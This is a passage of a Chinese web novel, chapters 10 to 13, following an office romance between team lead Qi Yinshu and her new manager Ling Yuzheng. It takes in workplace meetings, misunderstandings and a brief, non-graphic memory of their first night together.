【/小猫碰杯合作愉快/】
凌豫筝?她?怎、怎么没睡?
祁音书一下将手机摁在胸口,熬夜中的心,一下子跳得更乱了。
“呼——”她鼓起腮帮,长长地吐出一口气。
幸好我和凌豫筝不是恋爱关系。
我一定玩不过她。
祁音书眨着眨着眼,感觉模糊听到了风吹动窗扇的钝响,远处传来两声犬吠。
汪汪汪、汪汪汪——
她摁着手机,彻底失去意识。
梦里,凌豫筝穿着那件毛绒绒、发光的白色毛衣,低头专心剥山竹,但好像不如她记忆中的熟练,指间湿漉漉的。
祁音书背着双肩包,走近凌豫筝,特别疑惑:“姐姐,你上次好像不是这样剥的?”
凌豫筝没理她。
祁音书急了,又大声点:“凌经理?”
一只手从她肩后靠近,环过她的肩,轻轻箍住她的脖颈。
祁音书倒吸一口气,微微仰头,那手带着她转身,她对上凌经理深棕色的瞳孔。
“小祁,我要的资料你做好了吗?”
祁音书咽喉咙,点头:“我——”
那边的凌豫筝起身,“群群,山竹剥好了,我喂给你吧。”说完,直接吻住她的耳朵。
祁音书全身一麻。
猛然睁眼。
转头,昨夜没拉窗帘,天光大亮。
手机滑落在她的被子里。
她心有余悸地撑起身体,手机还剩2%的电——
?
她瞳孔放大,嘴巴也越张越大,屏幕几乎举到鼻尖前,拇指不断上滑上滑。
“1、2、3……16。”
卡通兔子飞来之吻的表情包。
她给凌豫筝连续发了。
16个。
10、第十章
祁音书的指尖有些颤抖,尴尬,为时已晚。
消息大概是她迷迷糊糊睡着前,或是之后,误触到的,凌豫筝应该能看出来是她手滑吧。
肯定能的,吧?
电量告罄,手机自动关机。
屏幕瞬间变黑后,祁音书从巨大的精神冲击中苏醒过来,连忙下床,拉起那根掉到床头柜另一侧的数据线,给手机充电。
刷牙,洗脸,风风火火从卫生间跑去厨房拿面包,跑出厨房的时候脚趾踢到凳脚。
凉拖,没穿袜子。
疼得她石化原地,眼冒金星,泪花完全止不住。
简直是!每一步都忙!每一步都卡!
站衣柜前翻衣服,手取出浅蓝色衬衣的时候顿了一秒,而后快速将其从衣架取下,隔壁一套深灰色西装与半身裙也取下。
书桌上拎起工牌和黑色小挎包,跑床头那扯开充电线,关闭电源。
感觉要来不及了,她连手机都没空打开,到门口踩上一双白色帆布鞋,边跳边拉鞋跟,像阵风似的卷出家门。
电梯镜子里的人,黑发炸毛,她赶紧扒拉两下,赶在下一层住户进电梯前,变回一个云淡风轻的祁音书。
缓缓下行,祁音书一边盯着那反复停住的红色数字,一边摁下手机电源。
轻摁一下,没反应。
又重摁一下,“噔愣”一声,开机图标才亮起。
祁音书还想着那十六个表情包的乌龙,急着看凌豫筝有没有说什么,拇指不断擦过屏幕。
微信界面顶端在她眼里转了会儿圈,没信号。
祁音书深吸一口气,把界面完全关闭,然后再次点开。
直到她进入停车场,信号才堪堪恢复。
有新消息。
但不是凌豫筝发的。
【下次不要太晚回家,你一个人,不安全。】三分钟前的信息。
【我不是一个人,和同事一起的。】她想都没想就回过去。
卡点到公司,她口中的“同事”还没就她十六个表情包的事件发表评论。
祁音书望眼经理办公室那紧闭的门,没辙,只能先放下这件事,进企业邮箱,一一查看新邮件。
今天要给出新品研发的市场建议,跟原木确认合作细则,还有新一季度的宣传片也要定下方向。
祁音书一行一行默读邮件内的文字,同时梳理脑海中的工作事项,很快就将浮躁的心压住。
她截图其中一封邮件,点开小组工作群,表情严肃地敲下几点建议。
如果戚经理还在公司,一定会夸现在这个她,小祁,终于长大啰!
“人家大领导是了不起啊,上班第二天就能不来,一上午我找她好几趟了,办公室没人!”
“我听说凌经理她是叶总朋友,估计不用跟我们一样准时上下班吧。”
“她可以不准时上下班,事情不能不做吧,我这一堆事情等着经理审批,耽误了她负责啊?”
祁音书带小组同事进会议室开会前,听见聚在经理办公室门前的两人正抱怨,她冷淡地瞥去目光。
一位是常甩锅不做事的,一位是常抢功爱吹牛的,都曾因违纪被处罚过。
她便收了上前帮忙的心思,冷脸进会议,关上门。
不过那两人的声音挺大,坐下的几个同事,都没忍住跟着嘀咕了几句。
“今天好像确实没看到凌经理啊。”
“哎呀,都当经理了,偷点懒怎么了,我要是她,我也偷懒。”
“有道理。”
砰——
祁音书重重放下文件夹。
惹得在场的几人瞬间闭麦,惊恐地看向组长。
组长在笑?心情没问题?那就应该是手滑不小心放重了?几人心中暗自推理。
祁音书打开投影仪,微笑开启工作模式:“好了,我们先来讨论一下宣传片主题。”
自由发言环节。
有想法的组员一个一个走到幕布前,指着ppt中自己有问题的点发表意见。
祁音书斜坐着,左手搭在桌上,无意识捏着一支圆珠笔,在本子上轻点。
“像这个打电话的场景,我觉得有些拖拉——”幕布前的人说。
打电话,要不要打电话问问她的情况?会唐突吗,还是先发个微信。
“还有一个人上楼这部分,场景太孤独了——”
她昨晚是一个人进的小区,御河新城安保还行,应该不会有问题吧?但当时确实很晚了。
“上周叶总给我们的建议不是说了吗,这个部分——”
祁音书放下笔。
挺轻的一声。
幕布前的争论却停住,整齐看向她:“组长,你有什么问题吗?”
明明心中说着凌豫筝那么大个人不需要你担心,祁音书还是拿起手机,起身:“你们先讨论十分钟,我出去打个电话。”
“哦,好。”
她经过幕布前愣愣的两位组员,快步开门,右转走向另一间空置的小会议室。
【凌经理,您今天来公司吗?我有一份文件需要您签字。】她进去,关上门,立刻发出这条消息。
度秒如年。
左上角的时间刚跳转一分钟。
她就熟门熟路摸去昨天的通话记录,找到那个还没被她保存的陌生号码,重重摁下。
手机贴耳边,拨打中,没有关机。
她的心跳越来越快。
就在她等到快要崩溃的时候,电话被接通了。
“凌豫筝你在哪里!”她径直喊出。
“呃——”不是凌豫筝的声音,像是,叶总,声音变远了点,她听见叶总在那边说,“豫筝,你什么山竹妹妹找你,你家起名都用竹字头吗?”
祁音书已经局促到想装信号不好挂电话消失了。
凌豫筝的声音响起:“喂?你找我?”
“我。”祁音书卡壳,“嗯,我找你。”
“我和叶总在集团开会,你有什么要紧事吗?”那声音很公式化。
祁音书垂下目光,觉得自己有点奇怪,刚才那短短几分钟,她确实不受控地想了很多令她害怕的可能。
她应该找一点工作的借口,告诉凌豫筝有要紧事,是公事。
但她却张不了嘴,也撒不出谎,居然拖着没讲话,让在集团忙工作的人为她等待。
她没说话,凌豫筝那边却出现开关门的声音,背景的笑声消失,变得很安静。
凌豫筝说:“小祁,不好意思,我今早才看见你的消息,但我起晚了有点忙,才一直没时间回你。”
祁音书急说:“啊,不不不,那是我发错了,没想发给你。”
沉默几秒,凌豫筝笑问:“哦,那么晚还在跟别人聊天?”
“凌豫筝,别打电话了,赶紧进来——”那边有人催促。
“嗯,好。”凌豫筝回那人,而后对她讲,“那小祁,你没有事我就先挂了?”
“哦,好的。”祁音书下意识站直。
小会议室内好安静,这里也是写字楼固有的落地窗,但上一个在这的人将窗户开的很大,风吹动摆放在窗边的绿植。
厚厚的绿叶,有点像荷叶的一小片,层叠着,在祁音书的眼中慢慢晃动。
她出神两秒,再抬起胳膊,看眼黑屏的手机,对手机,也对自己无奈地叹口气,转身开门,走出这曾见证她慌乱的地方。
她们一次会议开到中午十一点半,散场时,大家有说有笑。
祁音书也忘却了早晨的阴霾,和一个年纪较小的同事,边走边聊星星大战闯关的事。
对方不信她已经打通关,硬要她打开手机证明。
她也乐呵呵地举起手机解锁,点开游戏给同事看。
祁音书平日就不是一个绝对严肃的领导,偶尔跟大家拼奶茶,八卦也会聊几句,所以即便走回到座位,那同事也还大着胆子,邀请她:
“祁老师,你周末要不要来参加我们的活动?”
嗯。这就。
祁音书略微移开目光,躲避那灼热的视线。
她不是抗拒跟这群同事拉近距离,单纯是,周末懒得出门。
她还在心想该怎么婉拒呢,身后有人咳嗽:“咳咳,叶总凌经理回来了,刚出电梯。”
祁音书顺势拍拍那人胳膊:“微信说微信说,你先回座位。”
不到三秒,全体严肃脸,人人好员工。
祁音书亦双手摆在键盘上,眼睛却向右前方看,那一框左区域入口,凌豫筝很快抱着笔记本走进来。
高马尾,烟灰色休闲服,白t恤。
凌豫筝扫她一眼,对她挤出一个笑容。
电脑里组长群的聊天框闪动。
【余樱:@uhsniyiq@江姜酱@极个别同志朋友们!!特大好消息!!听说凌经理去总部提案通过!!咱们分公司以后上班可以自由穿搭了!!】
祁音书看着这条消息,有点愣神。
从前的某个夜晚,她眯眼趴在酒店床上,叹气:“我真的很讨厌上班,讨厌当组长。”
旁边的人问:“讨厌上班很正常,为什么讨厌当组长?”
“第一。”祁音书竖起手指,“我讨厌穿西装,员工都该有穿衣自由,我就想穿卫衣,穿毛衣,怎么舒服怎么穿,穿不舒服我没心思工作嘛。”她语气词的尾音上扬,对陌生人肆无忌惮撒娇。
“好吧,你这个理由挺有说服力的。”旁边人点头,“可以去努力试试。”
祁音书歪头,看那半张脸被灯光照亮的人:“唉,我只能跟你说说啦,有的事我也只敢在心里想。”
那人便笑了笑,没说话了。
是偶然吗。
祁音书引用余樱这条消息,想说点什么,又不知道该说点什么。
她手机震动,电脑微信同步收到新消息。
【什么文件?你现在拿进来吧。】是凌经理回她了。
11、第十一章
看时间,距离午餐还有二十分钟整。
祁音书只考虑了不到半分钟,就专注神情,迅速关掉对话框,打开三组准备好的ip合作协议。
原木那边没问题,法务部也确认过,这份东西拿给凌豫筝看应该合适。
选择打印后,她合上笔记本,快步走到打印机前,拿上协议,独自前往经理办公室。
办公室门敞开着,祁音书停在门口,礼貌敲了三下:“凌经理。”
坐里面的人抬头看她,温声道:“请进。”
祁音书走进办公室内,反手关门,再将几张散纸,一个蓝色文件夹,整齐摆放到凌豫筝面前。
“凌经理,这是我们与原木的合作协议,您看看还有没有意见,没问题的话我下午会上传一份电子档,进oa审批流程。”
她说完,看见凌豫筝捡起那三页a4纸,直接翻到最后一张。
祁音书愣了愣,忽然想起她忽略了最重要的事,如果有百分之一的可能,凌豫筝在这样忙碌的情况下,也已经完全熟悉公司复杂的审批制度,那——
“我记得我们公司规定,合作规模超百万,乙方代表栏,应该需要总监级别以上的人签字。”凌豫筝抬眼,没有表情地看她。
那就算她倒霉了。
祁音书垂在腿边的手指微微收缩,面不改色:“是的,不过从前戚经理的要求是,要由经理先确认纸质内容,没问题签字,我们才能上传文件,进入审批。”
凌豫筝直勾勾盯了会儿说话人的瞳孔,后者似乎笃定她不会为这点小事去核明真相,神色平静,对上她的眼睛也毫不怯场。
就好像第一次酒店那晚,祁音书明知被她识破谎言,却还是坚持拉住她,问她可不可以继续。
想到这。
凌豫筝笑了下,将手中交叠的纸张轻轻放好,收回视线,随手拿起她昨天拆在办公桌上,忘记丢的粉白色棒棒糖糖纸。
浓郁的酸奶树莓味,这会儿,她甚至还能闻见糖纸上留存的甜香。
可惜祁音书不爱吃糖,不然,她可以拉开抽屉,分祁音书一支。
凌豫筝垂眸,一边折叠着糖纸,一边冷声配合:“戚经理的习惯我不清楚,以后没有特殊情况,希望你还是能按照公司流程走。”
她余光里,祁音书笔直站着,听她说完,非常顺从地乖乖应声:“好的。”
糖纸被折成小方块。
凌豫筝将其捏紧在指腹间,抬手看眼腕表:“差不多午饭时间,你先出去吧,东西我看完再给你。”
“好。”祁音书转身打算走。
“对了小祁。”凌豫筝又出声,要走的人转回来,她们再次对上目光,她弯出笑眼,“所以你早上给我打电话,也是为这件事吗?”
问完,她视线焦点向下,看见祁音书的右手握成拳。
祁音书的指甲稍稍嵌进掌心里,面对凌豫筝的突然发问,她有点没准备,而对上凌豫筝再度审视她的双眼。
她很难把“是的”两个字脱口而出。
她想,昨夜二人一起吃夜宵是事实,她与对方在小区门口就分别是事实,对方一上午没回消息是事实,没来公司也是事实。
这么多事实加在一起,即便是普通同事,她担心一下,应该也没问题吧。
祁音书吸了一口气:“不是。”
穿烟灰色休闲服的人明显皱了皱眉,如她没料到凌豫筝会问,想必凌豫筝也没料到她会坦言。
她看着凌豫筝困惑的眼睛,以真心应万变地将早上的情况讲出口:
“昨天我们回家太晚,我没亲眼看着你进家门,你早上不回我消息,也没来公司,所以我担心你。”
祁音书松开握拳的手,既然都说了,她并不羞于承认一切,“担心你,我才着急打电话,想确认你是否安全。”
凌豫筝怔了怔,抿唇,别脸看向电脑屏幕:“哦,谢谢你的担心。”
“还有,凌经理。”
祁音书一不做二不休,通话里没反应过来的事,决定现在开口,“我个人不太相信,您会一整个上午都没时间回我信息。”
她注意到,凌豫筝嘴角抿了一下,便继续道,“可能是我的消息让您感到烦恼,也可能是我判断错,但我还是想在这里跟您再说一次,那十六个表情包是意外,我没有打算越过界限。”
凌经理没回话,手指却又去捏那已经脱力展开的糖纸。
“那我就先出去了。”祁音书笑道。
她转身离开经理办公室,饭点已经到了,外面公共办公区空无一人。
祁音书从过道一路快速返回窗边,莫名觉得口渴,人没坐下,一手撑着桌沿,拿起水杯仰头就喝。
心脏仿佛慢半拍回到她的胸腔,开始慌张乱跳。
噔!
一口气喝空的马克杯被她放回桌上。
她回头看了一眼,经理办公室那边仍然静悄悄的,凌豫筝似乎不打算下楼吃饭。
两个人一起耽误了时间。
祁音书捏紧桌角,认真考虑了几分钟,到底要不要再去请凌豫筝一同下楼。
她放空的视线中,叶总提着两袋东西,走入她们这边的办公区。没注意到站窗边的她,径直去了经理办公室。
一分钟不到,那敞开的门被关上。
祁音书安静地盯着那门看了会儿,转回头,拿起桌上的工牌,一个人向外走去。
“我刚才路过外面,看群群站那窗边发呆,感觉心情不大好啊。”
经理室内,叶漫宁边拆外卖边跟凌豫筝讲话,“听说你刚才又把她叫进办公室了?朋友啊,适当的压力助人进步,过多的压力,你别给我把我的优秀员工吓跑了。”
凌豫筝嘴里叼一根棒棒糖,腮帮鼓着,手上慢慢叠一张橙白相间的纸。
酸奶柚子味,不如树莓。
真烦人,又不回答,我跟唱独角戏似的。叶漫宁把一盒菜推到凌豫筝面前:“你好,亲爱的凌经理,有听到你领导的话吗?”
“嗯。”凌豫筝浅浅点头,含糊道,“你放心,她没那么脆弱。”
“哎哟天呐,不啊——”叶漫宁抽凳子坐下,“你懂核心员工突然断崖式离职有多恐怖吗?就你前面那个,上一秒还在跟我敬雪碧呢,下一秒就单独拉住我,说要走,我当时真的——我超级崩溃!”
凌豫筝拿起筷子,没吃,似笑非笑地看她一会儿。
“我前面那个,戚经理?”
“嗯!”
“她跟几位组长关系都很好?”
“啊?”叶漫宁眨眼,“这个我就不是很清楚了,应该不错吧,她除了突然离职以外,我对她印象都蛮好的,脾气好,专业强,她带出来的人也是最厉害的。”
干净的筷子尖在青菜里戳了下,凌豫筝想了想,问:“小祁是她带出来的?”
“bingo!”叶漫宁比了个打枪的手势,“小祁下面的三组,成绩稳,进步快,团队气氛最好,所以我才叫你别给她太大压力,我不希望她也突然跟我说要走。”
凌豫筝慢悠悠点头,放下筷子:“哦。”
叶漫宁还想说话,凌豫筝转话题,“你说萧疏音已经回上海了?”
提起这个事。
叶漫宁一拍筷子,气愤:“对啊!我真无语了!那天她不是说要和家人吃饭让我推后一天嘛,我心想她又不像你,肯定不会骗我,我就答应了,我当时也跟你讲了对吧?”
凌豫筝点点下巴。
“结果,诶——”叶漫宁双手一拍一摊,“人连夜飞回上海,哇,你说我就想让你俩吃个饭,怎么比经营一家公司还难。”
凌豫筝被逗得笑了声。
“反正!我发誓我再也不管了!你们两个以后爱怎么样怎么样吧!真是一天天的费力不讨好!”
叶总端起餐盒,气呼呼地往嘴里塞米饭。
-
“群群啊,你又犯什么错了,怎么凌经理专找你的茬啊?”
食堂,余樱企图夹走一颗祁音书餐盘里的肉丸。
祁音书筷子一打,盘子往后拉,绝不让出美味:“是我按流程给她看合作协议,哪有找茬,凌经理人挺好的。”
“以前那协议不都直接上传电子档看么。”余樱摇摇筷子,“你快别自我安慰了,她就是觉得你是戚经理的心腹,不放心你。”
这事真是一时半会儿解释不清了。
祁音书挣了挣眉弓,放弃,不在这种无解的问题上纠缠。
“下午我们还要开新品会呢,你就看着吧。”余樱说,“我赌你发言的时候,凌经理绝对会挑你的刺。”
“嗯嗯嗯。”祁音书无奈应道。
低头夹起一筷子米饭。
也不知道凌豫筝会跟叶总吃什么。
反正,比她这食堂好吃吧。
12、第十二章
吃完午餐,陪余樱到楼下买了杯奶茶,二人回办公室正好一点,距离下午上班还有半小时。
余樱打个哈欠,跟祁音书小声道别,转头回另一边办公区睡午觉。
祁音书放轻动作,回座位。她没有午休的习惯,便拿起喝空的马克杯,只身前往茶水间。
接冷水,扭头望向窗外的蓝天。
今天天气不错,午后有太阳,再过段时间,应该就适合春游了。
手机嗡嗡震一声。
说要补觉的余樱突然私聊她,偷跑小道消息:
【宝!一级戒备!我听说下午新品会丁总可能要参加!】
【如果会上有啥争执,我可能没法直接帮你/叹气/丁总和凌经理都在,你说话千万要小心啊。】
丁总和叶总都被称为总,但丁总只是品牌部的总监,不过她也是有森公司资历最老的几位员工之一,话语权很重。
余樱是其直系下属,某种程度上,公司人尽皆知,丁总并不看好余樱的“竞争对手”祁音书。
坚决在祁音书晋升讨论会上投反对票,大致有种如果我家孩子没资格晋升,那戚经理下面的人也不可以。
这事,祁音书无所谓,余樱也无所谓,两人还是和和气气每天吃饭。
就是开会的时候,余樱还是需要给领导面子,有丁总在,她不可以强行为祁音书说话。
祁音书知道余樱又要多想了,便拿起接完水的马克杯,到茶水间的沙发坐下:
【知道啦/ok/多谢小鱼老师给我通风报信!】
【/企鹅相拥表情包/】
【你赶紧睡吧,一点过五分了。】
回完三条信息,祁音书把手机丢沙发前的矮桌上。
午休茶水间没人,她喝了两口水,水杯也放下。脑袋后仰,闭上眼,享受着日光在眼皮上按摩的感觉。
真舒服——
三个字在心底还没感叹完,她听见推玻璃门的声音,睁开眼,凌豫筝带个水杯路过不远处的走道,放杯子,接水。
祁音书缩了缩脖子,整个人不敢有大动作,想要争取悄无声息到隐形。
让凌豫筝不会注意她。
哪想,那压根没转头看她的人,在端起水杯喝之前,淡声问她一句:
“在这里晒太阳舒服吗?”
“啊,还行。”
祁音书大幅度坐直,这里就她们两人,她不得不回答凌豫筝的话。
茶水间左右两个出口都有玻璃门,分割两片办公区。祁音书坐着,保持微笑,看经理一口一口慢慢品尝热水,心里开始祈祷,随便哪边都好,快点来个人。
没人。完全没人。
不仅没人,凌经理喝完水,将杯子随手放旁边的大理石台上,自然向小祁走近。
现在不是工作时间,茶水间也给人一种放松,没办法装工作状态的魔力。
祁音书见人向她慢慢靠近,竟下意识从坐着到站立,特别乖地交握双手。一双轮廓柔和的杏眼,始终愣愣地注视着领导。
阳光斜照在她的侧脸上,浮起细微的绒毛。
衬得祁音书整个人像只发懵的小松鼠,完全没有一小时前办公室里敢说敢问的气场。
多可爱的一个小祁啊。凌经理心想。
人停步在玻璃窗前,距祁音书半个身位。凌豫筝微微仰头,闭眼,任由阳光洒在她的脸上。
“凌经理,我想起我还有点事,先回去了。”祁音书避之不及。
凌豫筝没阻止,没睁眼,只悠然说:“嗯,对了,下午丁总一起参加讨论会,你们的资料记得要多打印一份。”
祁音书捏紧刚拿起的马克杯,简单回了句“好,我知道了”,迈步要走。
“小祁。”凌经理叫她。
祁音书转头看,对方笑道,“不用紧张,正常准备就好。你们上面还有我,丁总有问题,我会跟她讨论。”
祁音书站直,神情平静:“谢谢凌经理,不过您放心。”
“我相信我没问题。”
会议定在下午两点半。
除了丁总,还有各相关部门的经理,负责人,浩浩荡荡大阵仗,坐满一整个大会议室。
领导们背对玻璃,坐对面,几位组长,组内组员,在进门这边依次落座。
丁总注重服装,秩序,祁音书一边走进会议室一边戴上工作牌,她身后走末尾的同事轻轻合上会议室的门。
组长按一二三四顺序排位,这次,祁音书对面正巧是凌豫筝。
凌经理侧着脸,面上带笑地安静听身旁财务经理讲话。祁音书坐下时,对面的人分心来看了她一眼。
短短几秒,二人目光相接,作为下属,她本该主动对凌经理微笑。
祁音书的大脑却因对方的笑眼空白了一瞬。
她思绪混乱地收回视线,垂眸坐下,忘记打招呼。
人到齐,一组组长调开ppt:“关于——”
丁总喊:“等等。”
“今天先不看ppt,各位组长分别说一下针对我们今年新品的市场建议,讲重点就行,谭夏,从你先来吧。”
被点名的一组组长,先快速跟包括祁音书在内的几位组长交换了一下眼神,而后向前坐正:
“好的丁总,根据我们年前的规划——”
人隔她一个座位沉声发言,祁音书左右手执着同一支笔,协同转着笔的首端和尾端。
透明笔壳上,印着一串淡蓝色的小猫爪印。
她耳里听着谭组长的声音,瞳孔里映出一个又一个猫爪。
她不紧张,甚至有点困,但她旁边的余樱已经苟成一团,两只手肘都撑在桌上——毕竟要按顺序汇报的话,余樱就是下一个倒霉蛋。
“谭夏,上周四我们开会,你这个问题我记得我已经讲过一遍。”没等谭组长陈述完,丁总冷漠打断。
祁音书转笔的动作停住,下意识抬起目光。
对面的凌豫筝就像有第三只眼,原本看着谭组长的方向,她一抬头,视线就飘了过来。
祁音书可不能再一次装没看见,迟来地挤出一个笑容。
凌豫筝没笑。
并且迅速将注意力调整,转回另一边的对话上。
祁音书的笑便僵在了脸上。
“你还有心情笑啊,马上死的就是我们了。”余樱牙缝中挤出一句话。
“要是每次开会你们都记不住我说的话,我可以跟叶总建议,给你们每人配一个助理好了,帮你们记,行不行?”
领导发火,谁敢吭声。
“江长吟,你来说。”丁总生完气,顺序一跳,跑四组脑袋上。
祁音书听见余樱默默呼了一口气。
“哦,我这里的建议是——”祁音书右边的人迟疑半秒后,稳定开口。
江组长往回倒问题,提到新品开发目前最麻烦的事,“从原料的成本、质量看,之前我们最好的供应商,主要是——”她顿了顿,“主要是戚经理的关系。”
一直没有转头的祁音书,听见“戚经理”三个字,立刻皱眉,向右看。
江组长看她一眼,继续望向丁总,“我想我们还是需要再跟戚经理联系一下。”
丁总点点下巴,那么问题就直接来到了能联系戚经理的人头上。
祁音书心领神会,都不用丁总张嘴,放下笔:“丁总,关于联系供应商这件事,我可以跟大家汇报一下进展。”
“好,那小祁你来说。”
祁音书戴上组长的面具,余光感受着凌豫筝的注目,心里默想着戚经理曾教她的汇报步骤:
“丁总您上次会议说新品原料的供应商不能变。会后,我们也请生产、品控的几位领导一起商量过这件事。目前我们已经联系到了对方负责人,原计划是明天,我们会直接去找对方当面谈。之后再转交给财务部审核入库,不会影响新品上市。”
“因为年前我们已经完全定好产品本身的东西,所以今天,可能主要需要听听大家,关于市场包装及宣传部分的意见,也就是我们ppt内比较关键的内容。”
……
祁音书基本说完,丁总眉心稍有松动,上身前倾,看向几位组长的领导。
“凌经理,你的意见呢?”
对于没点到自己就被放过这事,余樱眼珠子直打转,斜对面凌经理严肃着一张脸,坐直身体。
接着群群的话给意见吗?危险危险!
余樱没忍住,右手垂下桌面,戳戳隔壁祁音书的腿。
没想到给原本表情淡定的祁音书吓一跳,她感觉祁音书整个人都颤了一下,还明显倒吸一口冷气。
啊?咋回事!连群群都这么紧张吗?以前也没见群群会被我吓到啊!余樱震惊。
祁音书心有余悸地侧了点转椅,把左腿挪远,躲避余樱的攻击。
她视线抬一下,沉一下,要看不看地等待着凌豫筝出声。
“丁总,我刚来公司,所以我想,我只能先以我过往的经验,跟大家讨论一下今天的问题。”
奇怪,平常凌豫筝的声音就像她的人一样,更低也更成熟一些。
而此刻,凌豫筝的吐字很圆润,声音也清亮。
让祁音书自然想起那个讲话总让她十分信服的戚经理。
难道人当了经理,声音就会不同?
祁音书听着听着,人完全沉浸在了凌豫筝的世界中,仔细一想,便利店,酒店,公司,烧烤摊。
那声音都有微妙的变化。
祁音书很难形容这神奇的感觉,就好像,凌豫筝能随意控制不同场景中的音调风格。
目的只有一个。
让当下听她讲话的人完全集中于她。
会议结束后,丁总及其余部门的经理都先行离开了。
刚才会上,凌经理的发言非常保护几位组长,不仅把一组汇报的问题揽下,还顺带夸了另外三位组长的工作,并没有为难任何人。
余樱合上本子,一手拽住想要走的祁音书,脸对着凌经理:
“凌经理,明天周五,您明晚有时间吗?要不我们聚聚餐?”
祁音书挣了挣,没甩掉,面色有点无奈地站原地。
别想了,凌豫筝每周五晚上都要调养身体,早休息,隔天一早不是去攀岩馆,就是去冲浪馆。
反正她和凌豫筝以前完全没在周五晚上见过,基本是周六,偶尔是周天。
对面的凌经理写完最后一个字,“咔哒”一声收好笔。
“没问题,附近有家不错的烤肉店,我也正打算请大家聚聚,那就明晚吧。”
祁音书看过去,凌豫筝目光平均地在她们几位组长的脸上打转,对她们笑,“麻烦你们跟组里的小朋友们说一下吧,有时间的来,没时间的明天我请下午茶。”
“没问题!”余樱敬礼。
拉住还在发愣的祁音书转身就离开会议室。
祁音书回到座位,心里还在琢磨凌豫筝这个奇妙的人。
那令她熟悉至极的bb霜香气,飘到她的鼻间,向右看,凌豫筝正背对她,与过道那边的同事说话。
温和的声音:“我刚好有,给你。”
有什么?
祁音书控制不住地好奇,脚在椅子下向后钩,脑袋往前探,视线绕过凌豫筝的腰侧,看见隔壁同事桌角摆着一颗还没拆开的黄白色胶囊。
啊,布洛芬。
她在心里识物,偷看的动作没变,谁知道下一秒,凌豫筝迅速转过身来。
腹部面向她的脸。
还真是猝不及防……
祁音书耳朵发烫,心虚抬头,对上凌豫筝的眼睛。
“需要我再给你拿一颗吗?”凌豫筝笑道。
13、第十三章
祁音书木木地摇了两下头。
凌豫筝便一副恍然大悟的样子,嘴型“哦”了一下,但没出声,像长辈一样拍拍她的肩膀,转身走远。
接下来的半个下午,祁音书都在走神。
她感觉凌豫筝不是简单地拍了拍她,而是给她下了咒。她右边肩膀好沉,总感觉凌豫筝的手心一直压在她的肩上。
温热,也滚烫。
脑海中又想起第一次酒店,凌豫筝看着她的眼睛沉默良久,最后,沉重地拍了拍她的肩膀,转身:“来吧。”
祁音书看过不少女同片,纯情的,不纯情的,都看过,但她跟在凌豫筝身后,手心紧张到冒汗。
朋友聚会上认识的陌生姐姐,再偶遇几次,居然就一起来到了酒店。
她乖巧惯了,一大胆,就好像跑过头。
洗过澡,姐姐坐床沿冲她勾勾手,她走到人面前,明明脑海里有一万种学习过的画面,但她僵住了。
姐姐皱眉,随意拉住她的左手,指腹摩挲她的手指,问她:“你该不会,完全没经历过吧。”
她当时的脸很烫,诚实地点点头。
于是,她眼前的姐姐非常明显叹口气,撇头看向右边的墙:“唉,你搞得我都有点不好意思了。”
她急了,害怕坐着的人反悔,连忙弯下腰。
在姐姐的脸上亲了一下。
“这样,行吗?”她声音有点发抖。
坐着的人,抬起右手的食指,在被亲的脸上快速抹了一下,没讲话,表情看上去很糟糕。
搞砸了。祁音书遗憾地想。
她往后退半步:“那,那算了,对不起姐姐,我实在不太会。”
姐姐这才抬起目光看她。
祁音书记得那是一双很亮、很诱人的眼睛,淡粉色瞳膜外,是一环深棕色的锁。酒店昏暗的灯光下,漂亮得不像是真实的人。
像她梦里的人。
姐姐坐着,双腿交叠,位于她的视线下方,却有着绝对的压迫力:“你——我再问一次,你确定要继续?”
祁音书根本没犹豫,坚定地点头。
姐姐亲吻她的睫毛,舌尖勾过她的耳朵,夸她可爱的同时,也带着她的手互相抚摸。
她有点受不住刺激,并拢双腿,对方就笑她。
“刚才的几步学会了吗?你要不要也来试试?”
那声音充满蛊惑力,擅长引导,无论在酒店,还是在会议室。
祁音书非常痛苦地闭了下眼。
思绪越飞越偏,如果她知道会有今天,她当初一定不——
摆在桌上的双手握拳,再张开。祁音书受不了了,干脆起身走去卫生间。
冷水狠狠拍了几下脸。
她抬头,满脸水渍,像个疯子一般冷眼盯着镜中的自己,理智才稍微恢复一些。
祁音书,自己做的选择,不准后悔。
听见卫生间有开锁的响动,她拿袖子胡乱擦了两下脸,径直离开。
回到座位,鼠标靠近微信,一个青蛙头像的人给她发来消息。
祁音书小小地“咦”了一声,赶紧点开。
【/照片/】一只手拿着车票对准进站口。
【怎么说,一小时后到达新蓉南站,谁今晚想跟好朋友吃饭?】
祁音书瞬间笑了,手指飞速在键盘上敲了几个字,发送:
【我我我我我我我!】
祁音书及她带的整个三组,都是坚决不加班流派,她看准六点一到,合电脑,起身,拎起挂在椅背上的外套。
右边组员们也已经背包的背包,推椅子的推椅子。
祁音书向门口走,摘下工牌往包里塞。人脸打卡机前,排了几个别的部门的同事,她不着急,边低头看手机边慢悠悠前进。
“凌经理再见。”
“再见。”
正问朋友到哪里集合,她听见身后简短的对话。祁音书抬起目光,凝视着前方人的后脑勺,想了想,没回头关注。
不过快到打卡点的时候,要经过玻璃门,有影子反光。
她还是没忍住,向右瞄了眼玻璃。
她与凌豫筝之间隔了三个人。
凌豫筝也在看手机。
她回正脸,想了两秒不知道凌豫筝平常下班都做什么,到她打卡,她凑近摄像头。
“祁音书,谢谢。”机械女声播报。
打完卡,她转身,走的时候往右瞥了眼,仅一眼,又跟凌豫筝撞上目光。
这次,换凌豫筝先对她微笑。
对哦,凌豫筝会上都没理我。祁音书想起这事,但她自认不记仇,便扯起嘴角勉强意思了下。
集中下班点,等电梯的人多。
比祁音书先打卡的,后打卡的,都热热闹闹聚在一块儿。
下班嘛,大家都心情好,即便电梯久久不来,也能三两成群地站一圈闲聊。
祁音书被拉进了其中一圈,好在话题不在她身上,她“哦,是吗,这样啊”三段式敷衍,脚跟悄悄向后退。
神不知鬼不觉,挪到了个最偏的角落。
朋友给她发消息来:【下班没下班没?我上你家小区门口等你好了?】
她打字:【下了下了,都行都行,我很快就到。】
祁音书所站的角落,右前方是最边上的一个电梯门,正前方是一大片古铜色反光面。
她回完消息,抬头,发现自己身后站了个人。
黑发,高马尾,在反光中平视着她。
祁音书的后背当即麻了。不过她硬着头皮没转身,也没叫人“凌经理”,就死站着,等电梯一来,跟逃难似的往里冲,可算最后一个挤进电梯。
要知道,她以前可是宁愿等三趟,绝不挤一班的人。
鞋尖紧贴着电梯门缝,祁音书抿唇,看见凌豫筝缓缓走到电梯正门外。
她们目光一紧一松的对视中,“铛啷”一声,电梯门无情关上。
下到停车场坐进车里后,祁音书给朋友拨了通电话,想确定最终见面地点。
